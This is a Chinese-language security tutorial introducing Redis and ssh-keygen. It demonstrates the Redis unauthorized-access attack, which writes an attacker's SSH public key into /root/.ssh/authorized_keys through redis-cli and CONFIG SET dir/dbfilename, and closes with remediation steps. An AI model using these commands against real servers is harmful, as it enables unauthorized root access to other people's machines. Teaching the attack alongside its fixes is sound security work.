Redis數據庫簡介
Redis(REmote DIctionary Server)是一款開源、支持網絡、基於內存的高級鍵值對(Key-Value)存儲數據庫,其使用C語言編寫實現。Redis一般被稱爲數據結構服務器,由於數據庫中鍵(Key)的值(Value)能夠是字符串、哈希表、列表、集合、有序集合等各類數據結構。
Redis是內存數據庫,由於其將所有的數據都存儲在內存之中,傳統的數據庫如MySQL、SQLite等都是磁盤數據庫(數據存儲在磁盤上)。在關閉Redis以前,應當對內存中的數據進行備份,不然數據會丟失,不過,Redis支持按期自動備分內存中的數據到磁盤上。
Redis是非關係型數據庫,即NoSQL(Not Only SQL)。其數據存儲不須要固定的表格模式,不使用SQL做爲查詢語言。
ssh-keygen
ssh-keygen命令用於爲「ssh」生成、管理和轉換認證密鑰
redis 未受權訪問
redis 之前就被曝未受權訪問,redis 默認狀況下,沒有配置登錄密碼,任意用戶能夠登陸,形成數據泄露,經過進一步操做還能夠拿到webshell。
最近Redis服務被曝出因配置不當,可能形成數據庫被惡意清空,或被黑客利用寫入後門文件形成進一步入侵。
下面我來簡單演示下
首先在攻擊機上直接鏈接被攻擊機,能夠看到是須要密碼的。
下面咱們經過redis 未受權訪問來拿到目標機的root權限。
咱們先在攻擊機生成一個公鑰。
咱們能夠在~/.ssh 目錄下看到生成的公鑰和私鑰文件
咱們只要把生成的公鑰文件傳到其餘機器的~/.ssh/目錄下而且重命名爲authorized_keys(默認的是這個文件,能夠在/etc/ssh/sshd_config裏修改),那麼就能夠不須要root 也能登錄目標機器了。
咱們這裏利用redis 的未受權訪問來達到目的。
咱們先把公鑰保存txt 文件裏
在先後加入兩個回車,是爲了咱們的公鑰在被寫入目標機器的authorized_keys文件時是在新的一行以保證寫入的公鑰文件有效。
執行如下命令
cat test.txt | redis-cli -h 10.1.1.94 -x set redis
而後登錄redis,執行如下命令
CONFIG SET dir /root/.ssh/ 設置備份路徑爲/root/.ssh/
CONFIG SET dbfilename "authorized_keys" //設置備份文件名爲authorized_keys
Save //保存數據到磁盤
這樣就能夠用本地的私鑰去登錄被寫入公鑰的服務器了,無需密碼就能夠登錄。
漏洞修復
一、指定redis服務使用的網卡
在 redis.conf 文件中找到 「# bind 127.0.0.1」 ,把前面的#號去掉,而後保存。注:修改後只有本機才能訪問redis。
二、設置訪問密碼
在 redis.conf 中找到「requirepass」字段,在後面填上你須要的密碼。
三、修改redis服務運行帳號
請以較低權限帳號運行redis服務,且禁用該帳號的登陸權限。
注意:redis 須要重啓生效。
web